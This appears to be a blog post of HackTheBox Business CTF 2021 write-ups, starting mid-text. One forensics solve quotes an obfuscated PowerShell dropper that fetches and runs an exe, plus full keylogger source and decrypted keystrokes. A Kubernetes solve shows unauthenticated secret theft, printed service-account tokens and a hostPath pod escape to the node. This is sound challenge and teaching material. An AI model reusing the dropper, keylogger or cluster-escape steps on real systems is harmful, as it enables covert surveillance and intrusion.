\u0026#34;HTB{1_c4n_S33_3v3ryTh1ng_3v3n_y0uR_P1N_\u0026#34;; if ( ${exi`stS} ){ \u0026amp;(\u0026#34;{3}{2}{1}{0}\u0026#34;-f \u0026#39;ess\u0026#39;,\u0026#39;oc\u0026#39;,\u0026#39;t-Pr\u0026#39;,\u0026#39;Star\u0026#39;) ${pa`Th} }else{ # mkdir c:\\programdata\\windows? \u0026amp;(\u0026#34;{1}{0}\u0026#34; -f \u0026#39;ir\u0026#39;,\u0026#39;mkd\u0026#39;) (((\u0026#34;{3}{5}{4}{0}{1}{2}\u0026#34; -f \u0026#39;Datadt\u0026#39;,\u0026#39;Qw\u0026#39;,\u0026#39;indows\u0026#39;,\u0026#39;C:dtQP\u0026#39;,\u0026#39;m\u0026#39;,\u0026#39;rogra\u0026#39;)).\u0026#34;rePl`AcE\u0026#34;(([CHAr]100+[CHAr]116+[CHAr]81),\u0026#39;\\\u0026#39;)); \u0026amp;(\u0026#34;{1}{4}{3}{0}{2}\u0026#34; -f\u0026#39;eb\u0026#39;,\u0026#39;I\u0026#39;,\u0026#39;Request\u0026#39;,\u0026#39;voke-W\u0026#39;,\u0026#39;n\u0026#39;) -Uri (\u0026#34;{2}{0}{8}{3}{1}{6}{5}{4}{7}\u0026#34; -f\u0026#39;ttps://win\u0026#39;,\u0026#39;eupdater\u0026#39;,\u0026#39;h\u0026#39;,\u0026#39;owsliv\u0026#39;,\u0026#39;ho\u0026#39;,\u0026#39;c\u0026#39;,\u0026#39;.com/sv\u0026#39;,\u0026#39;st.exe\u0026#39;,\u0026#39;d\u0026#39;) -OutFile ${PA`TH}; .(\u0026#34;{3}{2}{1}{0}\u0026#34; -f \u0026#39;Process\u0026#39;,\u0026#39;-\u0026#39;,\u0026#39;rt\u0026#39;,\u0026#39;Sta\u0026#39;) ${p`ATh} } This snippet also gave us what looked like the first part of the flag: HTB{1_c4n_S33_3v3ryTh1ng_3v3n_y0uR_P1N_. Neat, looks like there is a part 2.\nFrom here, focus shifted to that svchost.exe binary that lived in C:\\ProgramData\\Windows. Just running it resulted in no output, both by double clicking or running it in cmd.exe. I dropped the binary in Cutter, but it was pretty big.\n  After spending some time reversing, trying to make sense of the binary, I did come across some references to a Python VM. Geez.\n  At this point I figured surely, for a 2/4 difficulty challenge I don\u0026rsquo;t have to dive this deep? So instead, I opted for some good \u0026lsquo;ol procmon! I renamed the binary in the ProgramData folder to svchost1.exe to make filtering a little easier.\n  This time round I could see the Python usage a lot faster, with the added bonus of an idea where the runtime was located; C:\\Users\\IEUser\\AppData\\Local\\Temp\\_MEI5882. Many calls to read cryptography related (by name) files ending in .pyd were also seen.\nEach invocation of svchost.exe (or svchost1.exe in my renamed case) would have a new folder created in the Temp\\ directory with a similar _MEI... format. Anyways, with this folder in mind I copied out the files onto my host for investigation. I was a little worried here as I know it’s possible to obtain source code from Python\u0026rsquo;s .pyc files, but I have not seen .pyd\u0026rsquo;s before.\nA lot of time later, I kind of gave up on the hope of getting source code. Drat. It helped knowing that there were artifacts coming from the binary itself, so I did not go back to trying to reverse the binary further.\nFor plan B, I opted to get API Monitor running. Even if a Python VM was used, calls out to the Windows API would still be interesting to see with some argument data. And oh boy was it interesting. It took me a while to understand the API Monitor workflow, but before long I was able to get svchost.exe loaded and running.\nThe first major observation was that not long after the process starts up, a second thread boots up. The first thread can be seen reading the python37.dll, where after a while DllMain is called. My hypothesis at this point was that the actual logic being executed would be in the second thread, with the first just being a bootstrap phase for the Python VM.\nThe second observation was in the second thread, where a file at C:\\Users\\IEUser\\AppData\\Roaming/anVzdGFuW1l.txt was being referenced.\n  This was a new file that I had not previously discovered, so I went looking for what’s inside!\nb\u0026#39;sm+3e2dfsjht3Y2BgddPVlGLMtYSLuXAvcuTwGwVQQYx7mn0QZ5JxNKYBBAaLgrYeoe3OOMRv9Gm9amegVnMZfxy0Qm5OTccBs0ldLsTj8uiuHAzvT6Lo6DdSWkYjaSad0tS1TT7g3crzpLqGm3BLG2owBvbftU3uTeItXKey/KPUjgaDWMbUA9c0/jIzNM=\u0026#39; b\u0026#39;s3Zs18MrewFI6qjX6Oa9+jF8ugOEwdzqtcnVRRskAnXrwQ9UataGcUduhwFXLCARsqw3NaK0Xv7e69xbcj0z2To3k4D7sIw=\u0026#39; b\u0026#39;tEcxPY3ltJsHDRsDsg==\u0026#39; b\u0026#39;tV+IdIZdzTwRbg7M\u0026#39; b\u0026#39;tjre2wAnnPYsV9Fi\u0026#39; b\u0026#39;t8DXhB0vUlDETcoV\u0026#39; b\u0026#39;uA9TSu+WUuoJqUP6\u0026#39; b\u0026#39;uZ3bfrTM8sNt15HB\u0026#39; b\u0026#39;sRBm6KWZigygdqvPZw==\u0026#39; ... Lots of strings that appear to be base64 encoded, with a Python Bytes Object b'' in front of them. Seeing this with the crypto related files read in the earlier Procmon output made it pretty clear that these were encrypted. But how? And what are they?\nI can bore you with the details of the next section, but I\u0026rsquo;ll skip to the chase. In my clicking around, wondering about what’s going on and what my next move could be, I notice the following in API Monitor.\n  A call to MapVirtualKeyExW!? A keylogger!? I tested a few things to make sure I wasn\u0026rsquo;t going crazy, but yeah, this app was capturing keystrokes. Ok! Looking back at anVzdGFuW1l.txt, I noticed that after each press of the ENTER key, a new encrypted line would get written to the file (I used baretail to tail the file as I pressed keys). This didn’t get me any closer to the solve yet, but at least I have a much better idea what the application was doing, just by watching Windows API calls. Pretty cool!\nEventually I wondered how they could have built the application, and it being Python and all I recalled a thing called Pyinstaller. Essentially, you can create Windows executables from Python projects. Next, I wondered if there were tools that could extract objects/code from a Pyinstaller generated exe (assuming a bit that this was how svchost.exe was built), and came across a project called pyinstxtractor. I quickly set that up and ran it. This time round I had more python files than those I found in the _MEI5882 temp folder! In fact, there were some .pyc files now!\n❯ cd svchost.exe_extracted ❯ ll Permissions Size User Date Modified Name .rw-r--r-- 95k leonjza 25 Jul 14:56 _bz2.pyd .rw-r--r-- 133k leonjza 25 Jul 14:56 _ctypes.pyd .rw-r--r-- 39k leonjza 25 Jul 14:56 _hashlib.pyd .rw-r--r-- 176k leonjza 25 Jul 14:56 _lzma.pyd .rw-r--r-- 28k leonjza 25 Jul 14:56 _queue.pyd .rw-r--r-- 77k leonjza 25 Jul 14:56 _socket.pyd .rw-r--r-- 121k leonjza 25 Jul 14:56 _ssl.pyd .rw-r--r-- 778k leonjza 25 Jul 14:56 base_library.zip drwxr-xr-x - leonjza 25 Jul 14:56 Crypto .rw-r--r-- 3.4M leonjza 25 Jul 14:56 libcrypto-1_1.dll .rw-r--r-- 689k leonjza 25 Jul 14:56 libssl-1_1.dll .rw-r--r-- 2.2k leonjza 25 Jul 15:09 logger.pyc .rw-r--r-- 203k leonjza 25 Jul 14:56 pyexpat.pyd .rw-r--r-- 0 leonjza 25 Jul 14:56 pyi-windows-manifest-filename svchost.exe.manifest .rw-r--r-- 4.1k leonjza 25 Jul 14:56 pyiboot01_bootstrap.pyc .rw-r--r-- 1.8k leonjza 25 Jul 14:56 pyimod01_os_path.pyc .rw-r--r-- 8.8k leonjza 25 Jul 14:56 pyimod02_archive.pyc .rw-r--r-- 13k leonjza 25 Jul 14:56 pyimod03_importers.pyc .rw-r--r-- 3.8M leonjza 25 Jul 14:56 python37.dll .rw-r--r-- 1.4M leonjza 25 Jul 14:56 PYZ-00.pyz drwxr-xr-x - leonjza 25 Jul 14:56 PYZ-00.pyz_extracted .rw-r--r-- 27k leonjza 25 Jul 14:56 select.pyd .rw-r--r-- 297 leonjza 25 Jul 14:56 struct.pyc .rw-r--r-- 1.5k leonjza 25 Jul 14:56 svchost.exe.manifest .rw-r--r-- 1.1M leonjza 25 Jul 14:56 unicodedata.pyd .rw-r--r-- 88k leonjza 25 Jul 14:56 VCRUNTIME140.dll To recover the source code from a .pyc file, one could use a tool called uncompyle6. Much like how pyinstxtractor took the original exe and did the extraction, uncompyl6 takes a pyc and tries and rebuild the original source file from the byte code. Unfortunately, I could decode all of the .pyc files, except for logger.pyc. A quick look at the headers of both files, and I thankfully spotted that just the first byte of logger.pyc differed from a file like struct.pyc which we could decompile.\n❯ xxd logger.pyc | head 00000000: 610d 0d0a 0000 0000 0000 0000 0000 0000 a............... 00000010: e300 0000 0000 0000 0000 0000 0004 0000 ................ ❯ xxd struct.pyc 00000000: 420d 0d0a 0000 0000 7079 6930 1001 0000 B.......pyi0.... 00000010: e300 0000 0000 0000 0000 0000 0008 0000 ................ Using a hex editor I swapped the 0x61 for a 0x42, and viola, uncompyle6 was happy! The extracted source code was:\n# uncompyle6 version 3.7.5.dev0 # Python bytecode 3.7 (3394) # Decompiled from: Python 3.8.11 (default, Jul 22 2021, 15:32:17) # [GCC 8.3.0] # Embedded file name: logger.py from pynput.keyboard import Listener from Crypto.Cipher import AES import base64, os class Strokes(object): message: dict text: str counter: int def __init__(self) -\u0026gt; None: self.message = {} self.text = \u0026#39;\u0026#39; self.counter = 1 def addToText(self, new_text: str) -\u0026gt; None: self.text += new_text def addTextToDict(self) -\u0026gt; None: self.message[self.counter] = self.text self.counter += 1 def clearText(self) -\u0026gt; None: self.text = \u0026#39;\u0026#39; @staticmethod def encrypt(text: bytes) -\u0026gt; bytes: key = \u0026#39;w0MrV1vBmZi1Z17v\u0026#39; iv = \u0026#39;Kh54H8JTmOYq5mre\u0026#39; cipher = AES.new(key.encode(\u0026#39;utf-8\u0026#39;), AES.MODE_CFB, iv.encode(\u0026#39;utf-8\u0026#39;)) return base64.b64encode(cipher.encrypt(text)) def keystrokes(key: str, obj: object) -\u0026gt; None: key = str(key).replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#39;\u0026#39;) obj.addToText(key) if key == \u0026#39;Key.enter\u0026#39;: obj.addTextToDict() open(os.getenv(\u0026#39;APPDATA\u0026#39;) + \u0026#39;/anVzdGFuW1l.txt\u0026#39;, \u0026#39;a\u0026#39;).write(str(Strokes.encrypt(f\u0026#34;{str(obj.counter)}:{obj.text}\u0026#34;.encode(\u0026#39;utf-8\u0026#39;))) + \u0026#39;\\n\u0026#39;) obj.clearText() def main() -\u0026gt; None: obj = Strokes() with Listener(on_press=(lambda event: keystrokes(event, obj))) as (log): log.join() if __name__ == \u0026#39;__main__\u0026#39;: main() Here we could see eveything we needed to both understand the behaviour we saw in API monitor, but also to decrypt the contents of those strings in anVzdGFuW1l.txt. I reused the code from logger.py to write a quick decryptor for the strings we had.\nfrom Crypto.Cipher import AES import base64, os def decrypt(text: bytes) -\u0026gt; bytes: key = \u0026#39;w0MrV1vBmZi1Z17v\u0026#39; iv = \u0026#39;Kh54H8JTmOYq5mre\u0026#39; cipher = AES.new(key.encode(\u0026#39;utf-8\u0026#39;), AES.MODE_CFB, iv.encode(\u0026#39;utf-8\u0026#39;)) return cipher.decrypt(base64.b64decode(text)) def main() -\u0026gt; None: with open(\u0026#39;anVzdGFuW1l.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: source = f.readlines() for l in source: e = l.split(\u0026#34;\u0026#39;\u0026#34;)[1] print(decrypt(e)) if __name__ == \u0026#39;__main__\u0026#39;: main() The results were\u0026hellip; the keyloggers input!\nb\u0026#39;2:google.comKey.enter\u0026#39; b\u0026#39;3:gmailKey.enter\u0026#39; b\u0026#39;4:aedwardsKey.shift@icorp.comKey.enter\u0026#39; b\u0026#39;5:Key.shiftKey.shiftKey.shiftKey.shiftKey.shiftKey.shiftFORGOTTENKey.spaceKey.shiftHARDKey.spaceKey.shiftDRIVEKey.enter\u0026#39; b\u0026#39;6:Key.shiftHelloKey.spaceeddie,Key.enter\u0026#39; b\u0026#39;7:Key.shiftSinceKey.spaceKey.shiftIKey.spacewontKey.spacecomeKey.spacetoKey.spaceworkKey.spacetodayKey.spaceandKey.spaceKey.shiftIKey.spacereallyKey.spaceneedKey.spacesomeKey.spacefilesKey.spaceleftKey.spaceimKey.spaceKey.backspaceKey.backspacenKey.spacemyKey.spacehardKey.spacedriveKey.spaceatKey.spacemyKey.spaceoffice,Key.spacecanKey.spaceyouKey.spacereachKey.spaceitKey.spaceandKey.spacesendKey.spacemeKey.spacetheKey.spacefileKey.spacenamedKey.spacestaffKey.shift_data.xlsxKey.shift?Key.enter\u0026#39; b\u0026#39;8:Key.shiftTheKey.spaceKey.shiftPINKey.spaceforKey.spaceyKey.backspacemyKey.spaceofficeKey.spaceisKey.shift:Key.space50133700013Key.shift}Key.enter\u0026#39; b\u0026#39;9:Key.shiftThanksKey.spaceinKey.spaceadvanceKey.shift!Key.enter\u0026#39; b\u0026#39;10:Key.shiftCarole.Key.enter\u0026#39; b\u0026#39;2:virtKey.backspaceKey.backspaceKey.backspaceKey.backspaceKey.backspaceboxKey.ctrl_lKey.ctrl_lsysinternalsKey.spacesuideKey.enter\u0026#39; b\u0026#39;2:dpiKey.enter\u0026#39; To make the output a little more readable, I replaced strings such as Key.shift and Key.enter with other values so we could see what was written. That meant that the call to print(decrypt(e)) was replaced with:\nprint(decrypt(e).decode().replace(\u0026#39;Key.enter\u0026#39;, \u0026#39;🧵\u0026#39;).replace(\u0026#39;Key.space\u0026#39;, \u0026#39; \u0026#39;) .replace(\u0026#39;Key.backspace\u0026#39;, \u0026#39;\u0026lt;\u0026#39;).replace(\u0026#39;Key.shift\u0026#39;, \u0026#39;^\u0026#39;)) The output was therefore:\n❯ python3 decryptor.py 2:google.com🧵 3:gmail🧵 4:aedwards^@icorp.com🧵 5:^^^^^^FORGOTTEN ^HARD ^DRIVE🧵 6:^Hello eddie,🧵 7:^Since ^I wont come to work today and ^I really need some files left im \u0026lt;\u0026lt;n my hard drive at my office, can you reach it and send me the file named staff^_data.xlsx^?🧵 8:^The ^PIN for y\u0026lt;my office is^: 50133700013^}🧵 9:^Thanks in advance^!🧵 10:^Carole.🧵 2:virt\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;boxKey.ctrl_lKey.ctrl_lsysinternals suide🧵 Much more readable, and we can see the PIN is 50133700013^}, which is the second part of the flag!\nFlag: HTB{1_c4n_S33_3v3ryTh1ng_3v3n_y0uR_P1N_50133700013}\nCrazy cool :D\ncloud/Kube  Name: Kube Category: cloud Solves: 23 Rating 1/4 Type: Hosted Description: Due to increase in our web application traffic, we are switcing to kubernetes. We would like you to test our security.   Fun challenge, although maybe a little easy ;) After enumerating the IP address you get for the challenge, a Kubernetes API server is found on port 8443. Further exploration would have revealed that you were allowed to access secrets without authentication.\n❯ curl -s -k https://10.129.173.212:8443/api/v1/namespaces/kube-system/secrets { \u0026#34;kind\u0026#34;: \u0026#34;SecretList\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;metadata\u0026#34;: { \u0026#34;resourceVersion\u0026#34;: \u0026#34;94924\u0026#34; }, \u0026#34;items\u0026#34;: [ { \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;attachdetach-controller-token-5ts7m\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;kube-system\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;ff42960f-f063-4df3-b330-e4cbc26f56d4\u0026#34;, \u0026#34;resourceVersion\u0026#34;: \u0026#34;356\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2021-07-19T19:06:55Z\u0026#34;, \u0026#34;annotations\u0026#34;: { \u0026#34;kubernetes.io/service-account.name\u0026#34;: \u0026#34;attachdetach-controller\u0026#34;, \u0026#34;kubernetes.io/service-account.uid\u0026#34;: \u0026#34;b780d31d-3e92-40af-8a12-dbec2d4e5675\u0026#34; }, \u0026#34;managedFields\u0026#34;: [ { \u0026#34;manager\u0026#34;: \u0026#34;kube-controller-manager\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;Update\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2021-07-19T19:06:55Z\u0026#34;, \u0026#34;fieldsType\u0026#34;: \u0026#34;FieldsV1\u0026#34;, \u0026#34;fieldsV1\u0026#34;: {\u0026#34;f:data\u0026#34;:{\u0026#34;.\u0026#34;:{},\u0026#34;f:ca.crt\u0026#34;:{},\u0026#34;f:namespace\u0026#34;:{},\u0026#34;f:token\u0026#34;:{}},\u0026#34;f:metadata\u0026#34;:{\u0026#34;f:annotations\u0026#34;:{\u0026#34;.\u0026#34;:{},\u0026#34;f:kubernetes.io/service-account.name\u0026#34;:{},\u0026#34;f:kubernetes.io/service-account.uid\u0026#34;:{}}},\u0026#34;f:type\u0026#34;:{}} } ] }, \u0026#34;data\u0026#34;: { \u0026#34;ca.crt\u0026#34;: \u0026#34;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCakNDQWU2Z0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeE1EY3hPREU1TURVME1Wb1hEVE14TURjeE56RTVNRFUwTVZvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTWJRCmM1YmlkbEl0ekdDemNDRUltaHRJTVBucVdiZkRUbGgxdHFFVUozakM5RHJJNE5WRWt0cnB0MnFsbEFCNlJLQlMKNTNUTDFMcHVtMEl3ZTdzZkdJTCtZaG1Zb2ZUZ2VWSHJVMWJzaHBESXlkU3kwTTBKMFhvMG5zQ2lrajgvWHBjbApjbVNzSUhQMjUwNFRXekRaYXF1dU96cUxJWklkNzQrY3FQQ0VXMnlhazFUVWdmVXoyTVdTbVM4eDJMSG05SkJVCmVEcnFkTUx2K2NhVTRET2FLUFVtaVhYNUFSOUp1UGUvTGRYcno5RUw0Sm1mZUFBakhZSVBTcXRIbXpQMmxxdVYKbjk3M254RkpxZEtlWWovNGpvQldNd2t4MXpCZkpZUG5uWkRoUk94NFhOMUxrdFVDeDBoWmlhNEs4OHRCeS9CYQp6eml3NFloRmtycWo0dnNlSDdzQ0F3RUFBYU5oTUY4d0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVcKQkJRTXlHNGVkOC93WWdjRFBGeW5HdVE1SVNzL3pqQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUFZY2dvbjUrNAp3cklTN0hlVm1pSWQvamRCOU1zdXNsTVl5dU11R2hWVXBIc1QvWEg0aUxTVjhiQWNSNDd2bjFmcjZqVFN3UGJYCnd5c1AzSTRwcHNZWkNWdDEzRWJSNlBsZktIUzlONlJYLzI4eXFVcmJwTUM2Z3NqVVNOd1FEdTQralVvb3BicGcKZW55eTZIZkRlTnZyTDMxOGoyOFZBT2syREw4NzFwNTV3SnhGUlhzeTZFeVFLczR0eXovSVVGTlVVZktTWVhmMgpZQmFaTHY4TzFaWGdBVEpqSFJRMEZySEhxcHZHdEcxdGRqVXhSSmQzSlFxMHlHd1AyYVZiMGhMNkQ0eUdCUzhMCk83MWdDRWlxcjY4OEZOSFhObGdyekwxc0JqNVlKcGNzLzV4NkdjYmp1WXVUMFcwZ0pIbHIwZGR1aUpDTmZVamsKWm9RRXU3OTFPK3RBOWc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;a3ViZS1zeXN0ZW0=\u0026#34;, \u0026#34;token\u0026#34;: \u0026#34;ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklrMVlTbFZxVDBwM2QyTnRNVzk1V2xCM09Ua3hRMEpmYW1oTmVHMHhUMlZTZUVOSVRITmZZV3gwYldzaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKaGRIUmhZMmhrWlhSaFkyZ3RZMjl1ZEhKdmJHeGxjaTEwYjJ0bGJpMDFkSE0zYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZ5ZG1salpTMWhZMk52ZFc1MExtNWhiV1VpT2lKaGRIUmhZMmhrWlhSaFkyZ3RZMjl1ZEhKdmJHeGxjaUlzSW10MVltVnlibVYwWlhNdWFXOHZjMlZ5ZG1salpXRmpZMjkxYm5RdmMyVnlkbWxqWlMxaFkyTnZkVzUwTG5WcFpDSTZJbUkzT0RCa016RmtMVE5sT1RJdE5EQmhaaTA0WVRFeUxXUmlaV015WkRSbE5UWTNOU0lzSW5OMVlpSTZJbk41YzNSbGJUcHpaWEoyYVdObFlXTmpiM1Z1ZERwcmRXSmxMWE41YzNSbGJUcGhkSFJoWTJoa1pYUmhZMmd0WTI5dWRISnZiR3hsY2lKOS5ZR0VyLWtWQmZweUJ1UWVnUFdYU2hMUnFQOHA0WUxkSnFKdXVKYVU4V01BalVDQnhjNnRqMVNKdmlpM09jOXd1SjlzZ04wVUQ4c2phS0dqSkVGUF9zRDdRcV8wSXEtM0pxcG1vTkNpNW1qcGdEeGlNTVBKWHJUbzBqV0oyVl9WSmt0V18za29YLXh0bmZ3WS1ONVQtalpJTENqR1JYMF90V1pnS09IYmxBclppT1FfVjN0TnJwU0pFQmxvZmlVNzhHQWZtMDlETmExX1pkUHhKVFdBSjNoaElETzFUVmJTZG9WcGRZSXVlWFBEb0FXZXlrMEVHcnpsNVJyT0FzLU9Fd05tMU5yU1dhaFpNdnFsUmVQbmswdmxHc01LZTM5amZ5Q0dGVmd0ZkI1ZG1mYTh6bXRqcDYyOGNwaHZXOXFOSmhEeGZ0bFhJVFFiQmtfMlVydGxQZXc=\u0026#34; }, \u0026#34;type\u0026#34;: \u0026#34;kubernetes.io/service-account-token\u0026#34; }, ... It is possible to configure the kubectl Kubernetes client to use a token (I grabbed one for the default service account), with the following ~/.kube/config file format:\napiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.129.173.212:8443 name: scratch contexts: - context: cluster: scratch user: userino name: contexterino current-context: \u0026#34;\u0026#34; kind: Config preferences: {} users: - name: userino user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6Ik1YSlVqT0p3d2NtMW95WlB3OTkxQ0JfamhNeG0xT2VSeENITHNfYWx0bWsifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkZWZhdWx0LXRva2VuLTdmaDg5Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImRlZmF1bHQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJjNzM4YjRjMy1lNjE1LTRhYTktODZmYS1mOWYyZWU0M2ZmMzgiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06ZGVmYXVsdCJ9.gJFAXzNWCh7e4cgKgaYHf96zH33Q06XnigyB5zZiYsjlKQBBebB4mykMhLB-_UbB7YRnMqOFVPd0pj82q72E3LvizUxVNK90vtZGqLVS4oeCKjWOj30FpwGHR0aDW8id55U3yCv0x1gTJVK25dUQkqqelaG6qGtV35NCAz5oXNfQLWXbhCih0zYHHoM6vvHzK8PpR_YEMXoJV81uKfYBHioRZXDpYHe_3783A202PVCElIwWlT2YzSCTdj9zvx14Xm-sJJyLB8jMkZx19TM_cFRGZ4ig6Pso585Xjf3zmtGI2kz8jSLHKz8qXfZQixXdbzWnJPsz2EdC7XhMIfcfNQ That means that we could now interact with the remote Kubernetes cluster using the kubectl command to do things. Because this was highly privileged token, we could also launch pods and make changes as necessary.\nEnumerating the cluster you\u0026rsquo;d find default Kubernetes namespaces and an alpine pod that cant start up.\n❯ kubectl --context=contexterino --namespace=kube-system get pods NAME READY STATUS RESTARTS AGE alpine 0/1 ImagePullBackOff 0 5d1h coredns-558bd4d5db-qrg6l 1/1 Running 5 7d2h etcd-kube 1/1 Running 0 10m kube-apiserver-kube 1/1 Running 0 10m kube-controller-manager-kube 1/1 Running 5 7d2h kube-proxy-ndk7j 1/1 Running 5 7d2h kube-scheduler-kube 1/1 Running 5 7d2h storage-provisioner 1/1 Running 11 7d2h Running describe pod alpine we\u0026rsquo;d see that the pod can\u0026rsquo;t pull the image needed for it.\nWarning Failed 8m15s (x4 over 10m) kubelet Failed to pull image \u0026#34;alpine\u0026#34;: rpc error: code = Unknown desc = Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) Warning Failed 8m15s (x4 over 10m) kubelet Error: ErrImagePull Warning Failed 7m49s (x6 over 10m) kubelet Error: ImagePullBackOff Normal BackOff 23s (x35 over 10m) kubelet Back-off pulling image \u0026#34;alpine\u0026#34; I spent some time investigating pods by trying to get shells inside of them. The general workflow was to list the pods in each namespace, and then exec inside of each. However, I couldn\u0026rsquo;t run sh or bash in many of them as they were simply not installed. A good hardening tip! Ofc, I could have run other commands, but meh.\n❯ kubectl --context=contexterino --namespace=kube-system exec -it kube-apiserver-kube -- sh OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused \u0026#34;exec: \\\u0026#34;sh\\\u0026#34;: executable file not found in $PATH\u0026#34;: unknown command terminated with exit code 126 The pods that did give me a shell were:\n kube-system/etcd-kube kube-system/kube-proxy-ndk7j  Neither had anything interesting in them though. Time for a new strategy!\nOne attack plan we could exercise was to escape to the Kubernetes node a pod is running on by mounting the nodes\u0026rsquo; file system into a container. This can be done with a hostPath mount option for a deployment. I did not want to fiddle with pods running in the kube-system namespace in fear of breaking them, so I opted to create a new deployment with the hostPath configuration. Because we can\u0026rsquo;t pull the alpine image, I chose to re-use one of the already running pods images.\n❯ kubectl --context=contexterino --namespace=kube-system describe pod kube-proxy-ndk7j | grep Image Image: k8s.gcr.io/kube-proxy:v1.21.2 Image ID: docker-pullable://k8s.gcr.io/kube-proxy@sha256:3ee783402715225d6bc483b3a2f8ea11adcb997d00fb5ca2f74734023ade0561 Great. The last step was to create a new deployment and apply it.\napiVersion: v1 kind: Pod metadata: name: alpine-pew namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: k8s.gcr.io/kube-proxy:v1.21.2 command: - /bin/sh - \u0026#34;-c\u0026#34; - \u0026#34;sleep 60m\u0026#34; volumeMounts: - name: host-fs mountPath: /mnt imagePullPolicy: IfNotPresent name: alpine restartPolicy: Always Applying the deployment was as simple as:\n❯ kubectl --context=contexterino apply -f pew.yml pod/alpine-pew created Finally, get a shell and browse the nodes filesystem!\n❯ kubectl --context=contexterino --namespace=default exec -it alpine-pew -- sh # cd /mnt # ls bin dev home initrd.img.old lib32 libx32 media opt root sbin sys usr vmlinuz boot etc initrd.img lib lib64 lost+found mnt proc run srv tmp var vmlinuz.old # cd root # ls flag.txt # cat flag.txt HTB{5y573m:4N0nYM0u5} Flag: HTB{5y573m:4N0nYM0u5}\nconclusion We solved a lot, and this is by no means all of them, but, it\u0026rsquo;s the ones I enjoyed!\n","permalink":"https://leonjza.github.io/blog/2021/07/26/hackthebox-business-ctf-2021-writeups/","summary":"\u003cp\u003eThe \u003ca href=\"https://www.hackthebox.eu/htb-business-ctf-2021\"\u003eHackTheBox Business CTF 2021\u003c/a\u003e ran this weekend, and I played with a few colleagues at Orange Cyberdefense / SensePost. We managed to score \u003ca href=\"https://ctf.hackthebox.eu/ctf/131/scoreboard\"\u003e\u003cem\u003e5th\u003c/em\u003e\u003c/a\u003e place amongst 374 other teams!\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/htbbusiness21/htb_placement.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/htbbusiness21/htb_graph.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThe team consisted of (those with twitterz!): \u003ca href=\"https://twitter.com/felmoltor\"\u003efelmoltor\u003c/a\u003e, \u003ca href=\"https://twitter.com/JCoertze\"\u003eJCoertze\u003c/a\u003e, \u003ca href=\"https://twitter.com/TH3_GOAT_FARM3R\"\u003eTH3_GOAT_FARM3R\u003c/a\u003e, \u003ca href=\"https://twitter.com/Titanex8\"\u003eTitanex8\u003c/a\u003e, \u003ca href=\"https://twitter.com/_cablethief\"\u003e_cablethief\u003c/a\u003e, \u003ca href=\"https://twitter.com/gav1no_\"\u003egav1no_\u003c/a\u003e and \u003ca href=\"https://twitter.com/GMILTE\"\u003eGMILTE\u003c/a\u003e.\u003c/p\u003e","title":"hackthebox business ctf 2021 writeups"},{"content":"  foreword DawgCTF 20201 was the first CTF I played together with some local people much smarter than me over at Hack South. We managed to grab 28th place too.\n  I only solved three challenges with the time I had in the morning (of which one was a dupe because reading is hard :P).\nsolutions reversing - calculator  Category: Reversing Points: 50 Files: Windows PE  This was the duplicate challenge, but I\u0026rsquo;m writing up how I did it anyways. We get a Windows PE file that if run would ask for input files.\n  